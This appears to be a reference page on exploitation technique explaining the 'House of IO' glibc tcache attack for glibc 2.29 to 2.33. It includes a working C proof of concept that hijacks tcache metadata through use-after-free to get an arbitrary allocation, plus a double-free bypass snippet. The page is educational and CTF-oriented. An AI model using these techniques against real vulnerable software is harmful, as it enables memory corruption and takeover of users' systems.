Skip to main content

Overview

The House of IO (also called “House of Io Remastered”) exploits the tcache key field to manipulate the tcache_perthread_struct and achieve arbitrary allocation. When a chunk is freed into tcache, it receives a pointer to the tcache management struct in its key field. With UAF, this pointer can be used to directly manipulate tcache metadata. This technique is particularly powerful because it works even with safe-linking enabled, as the tcache key pointer is not mangled.

Glibc Version Compatibility

Compatible with: glibc 2.29 - 2.33 only
Patched in glibc 2.34+In glibc 2.34, the tcache key mechanism was changed. The key no longer points directly to the tcache structure, making this specific attack obsolete.
The technique works specifically because:
  • Glibc 2.29+ introduced the key field for double-free protection
  • Glibc 2.29-2.33 set key to the address of tcache_perthread_struct
  • Glibc 2.34+ changed how the key works

Requirements

  • Use-After-Free: Ability to read from and write to a freed tcache chunk
  • Pointer at Offset +0x08: The UAF struct must have a pointer accessible at +0x08 (the key location)
  • No Leaks Required: The technique doesn’t require address leaks
  • Single Free: Only one free is needed

What It Achieves

The House of IO enables:
  1. Tcache Metadata Control: Direct manipulation of tcache_perthread_struct
  2. Arbitrary Allocation: Return arbitrary pointers from malloc
  3. Counter Manipulation: Control tcache bin counts
  4. Freelist Poisoning: Insert arbitrary addresses into tcache freelists

Technical Details

The Tcache Key Field

When a chunk is freed into tcache (glibc 2.29-2.33), the following occurs:
tcache_entry {
  struct tcache_entry *next;  // +0x00: Next chunk in freelist
  struct tcache_perthread_struct *key;  // +0x08: Pointer to tcache struct!
};
The key field is set to:
e->key = tcache;  // tcache = address of tcache_perthread_struct
This is used for double-free detection:
if (e->key == tcache)  // Already in tcache!
  abort();

Attack Flow

1

Allocate Struct with Pointer at +0x08

Allocate a structure that has a pointer at offset +0x08 from the user data. This will align with where the tcache key field will be placed.
2

Free to Get Tcache Pointer

Free the struct. The tcache code sets:
chunk->key = &tcache_perthread_struct
Now the struct contains a direct pointer to tcache metadata!
3

Read Pointer (UAF)

Use UAF to read the pointer at offset +0x08. This gives you the address of tcache_perthread_struct without any leaks!
4

Manipulate Tcache Metadata

Use the pointer to directly modify tcache metadata:
  • Increase counter for a bin: tcache->counts[idx] = N
  • Insert arbitrary address: tcache->entries[idx] = target
5

Allocate Arbitrary Address

Call malloc for the target size. Tcache will return your controlled address.

Source Code

#include <assert.h>
#include <malloc.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

unsigned long global_var = 1;

struct overlay {
  uint64_t *next;  // +0x00
  uint64_t *key;   // +0x08 ← This will receive tcache pointer!
};

struct tcache_perthread_struct {
  uint16_t counts[64];   // +0x00: Counters for each bin
  uint64_t entries[64];  // +0x80: Freelist pointers
};

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  puts("In House of IO we make use of the fact that a free'd tcache chunk");
  puts("gets a pointer to the tcache management struct inserted at the");
  puts("second slot.\n");

  puts("This is the use-after-free variant: if the free'd struct has a");
  puts("pointer at offset +0x08 which can be read from and written to,");
  puts("we can manipulate the tcache management struct to return an");
  puts("arbitrary pointer.\n");

  printf("Target: we want malloc to return pointer to global_var at %p\n\n", 
         &global_var);

  // ========== Step 1: Allocate struct with pointer at +0x08 ==========
  puts("Allocate a struct with a pointer at offset +0x08\n");
  struct overlay *ptr = malloc(sizeof(struct overlay));

  ptr->next = malloc(0x10);
  ptr->key = malloc(0x10);

  // ========== Step 2: Free to get tcache pointer ==========
  puts("Free the struct to get a pointer to the tcache management struct\n");
  free(ptr);

  // ========== Step 3: Read tcache pointer (UAF) ==========
  printf("The tcache struct is located at %p\n\n", ptr->key);
  struct tcache_perthread_struct *management_struct =
      (struct tcache_perthread_struct *)ptr->key;

  // ========== Step 4: Manipulate tcache metadata ==========
  puts("Now we can manipulate the tcache metadata.\n");
  
  puts("First, ensure the counter is > 0 for the first bin.");
  puts("(In our case not necessary since we freed the overlay struct,");
  puts("but shown for completeness)\n");
  management_struct->counts[0] = 1;

  printf("Before overwrite, tcache bin contains: %p\n", 
         management_struct->entries[0]);
  printf("(This is the same as our freed struct: %p)\n\n", ptr);

  puts("Overwrite the tcache entry with target address\n");
  management_struct->entries[0] = (uint64_t)&global_var;

  printf("After overwrite, tcache bin contains: %p\n\n",
         management_struct->entries[0]);

  // ========== Step 5: Get arbitrary allocation ==========
  puts("Allocate from tcache to get arbitrary pointer\n");
  uint64_t *evil_chunk = malloc(0x10);

  printf("malloc returned: %p\n", evil_chunk);
  printf("global_var is at: %p\n\n", &global_var);

  assert(evil_chunk == &global_var);
  puts("Success! malloc returned pointer to global_var\n");

  return 0;
}

Walkthrough

The tcache chunk layout in memory is:
User allocation (e.g., struct overlay):
+0x00: first field (next pointer)
+0x08: second field (key pointer)

After free:
+0x00: tcache->next (freelist pointer)
+0x08: tcache->key (tcache struct pointer) ← We want this!
If your structure has any pointer at offset +0x08, you can use UAF to read the tcache pointer even if the structure wasn’t designed for exploitation!Example vulnerable structures:
struct example1 {
  void *data;
  void *callback;  // ← At +0x08, becomes tcache->key
};

struct example2 {
  long id;
  char *name;  // ← At +0x08, becomes tcache->key  
};
The tcache_perthread_struct is allocated as the first heap chunk:
struct tcache_perthread_struct {
  uint16_t counts[64];   // +0x000 to +0x07f (128 bytes)
  uint64_t entries[64];  // +0x080 to +0x27f (512 bytes)
};
Each bin (size class) has:
  • counts[idx]: Number of chunks in this bin (max 7)
  • entries[idx]: Pointer to first chunk in freelist
Size to index: idx = (size >> 4) - 1Examples:
  • Size 0x20: idx = 0, counts[0], entries[0]
  • Size 0x30: idx = 1, counts[1], entries[1]
  • Size 0x80: idx = 6, counts[6], entries[6]
Safe-linking (glibc 2.32+) mangles the next pointers in tcache:
next = (chunk_addr >> 12) ^ target_addr
However:
  • The key field is NOT mangled
  • The pointers in tcache_perthread_struct are NOT mangled
  • Only the next field in freed chunks is mangled
So we can:
  1. Read unmangled tcache struct address from key
  2. Write unmangled target address to tcache->entries[idx]
  3. Get target back from malloc (malloc will mangle/unmangle as needed)
Tcache Poisoning (basic):
  • Requires: UAF to overwrite next pointer
  • Difficulty: Must handle safe-linking mangling (requires heap leak)
  • Result: Single arbitrary allocation
House of IO:
  • Requires: UAF to read/write at +0x08
  • Difficulty: No mangling needed, no leaks needed
  • Result: Complete tcache control, multiple arbitrary allocations
Advantage: House of IO is simpler and more powerful when UAF is available!

Variant: Double-Free Variant

There’s also a double-free variant of House of IO:
// Allocate and free into tcache
char *a = malloc(0x20);
free(a);

// Read tcache pointer
tcache_perthread_struct *tcache = *(void **)(a + 0x8);

// Allocate it back
a = malloc(0x20);

// Key is now cleared, can double-free
free(a);
free(a);  // No longer detected!

// Now two entries point to same chunk
This bypasses the double-free check because allocating the chunk back clears the key.

CTF Challenges

No specific challenges listed, but applicable to:
  • CTF challenges on glibc 2.29-2.33
  • Challenges with UAF on structures with pointers
  • Modern heap challenges before glibc 2.34

References

  • [Tcache Poisoning/techniques/tcache/tcache-poisoning) - Direct next pointer overwrite
  • House of Water - Another tcache metadata control technique
  • [Tcache Metadata Poisoning/techniques/tcache/tcache-metadata-poisoning) - Direct metadata control

Notes

Negative Overflow VariantThe source mentions a “negative overflow variant” which is very rare. This would involve overflowing backwards to corrupt the tcache key of a chunk before it’s freed.Order-Dependent Free VariantAnother variant relies on specific free orderings to craft the attack, which is also quite constrained.The UAF variant shown here is the most practical.

Build docs developers (and LLMs) love